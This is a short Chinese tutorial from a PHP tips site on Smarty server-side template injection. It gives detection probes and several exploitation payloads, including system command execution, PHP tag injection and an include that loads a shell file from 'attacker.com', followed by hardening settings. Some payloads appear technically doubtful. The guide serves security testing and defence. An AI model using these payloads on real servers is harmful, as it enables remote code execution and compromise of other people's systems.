插件窝 干货文章 Smarty SSTi怎么用

Smarty SSTi怎么用

Smarty 使用 版本 PHP 923    来源:    2025-04-25

Smarty SSTI (Server-Side Template Injection) 使用指南

Smarty 是一个流行的 PHP 模板引擎,SSTI (Server-Side Template Injection) 是指攻击者能够将恶意模板代码注入到应用中并在服务器端执行。

基本概念

Smarty SSTI 允许攻击者在模板中执行 PHP 代码,可能导致远程代码执行(RCE)、信息泄露等安全问题。

检测 Smarty SSTI

  1. 简单测试

    {7*7}  // 如果返回49,可能存在SSTI
    
  2. 版本检测

    {$smarty.version}  // 显示Smarty版本
    

利用方法

1. 基本代码执行

{php}phpinfo();{/php}  // 在旧版本中有效

2. 使用 Smarty 函数

{system('id')}  // 直接执行系统命令

3. 使用 {if} 标签

{if phpinfo()}{/if}

4. 使用 {literal} 标签绕过过滤

{literal}`id`{/literal}

5. 使用 {include} 包含远程文件

{include file='http://attacker.com/shell.txt'}

6. 使用 {capture} 标签

{capture name='foo'}<?php phpinfo();?>{/capture}{$smarty.capture.foo}

防御措施

  1. 输入验证:对所有用户提供的模板内容进行严格验证
  2. 禁用 PHP 标签:设置 $smarty->security_settings['PHP_TAGS'] = false;
  3. 使用最新版本:Smarty 3.1+ 默认禁用 {php} 标签
  4. 限制模板功能:配置安全策略 php $smarty->enableSecurity(); $smarty->security_policy->disabled_tags = array('php');

注意事项

  • 不同 Smarty 版本的利用方式可能不同
  • 现代 Smarty 版本默认更加安全,需要寻找其他利用链
  • 实际利用前应先确认目标环境

请仅在合法授权测试中使用这些技术,未经授权的测试可能违反法律。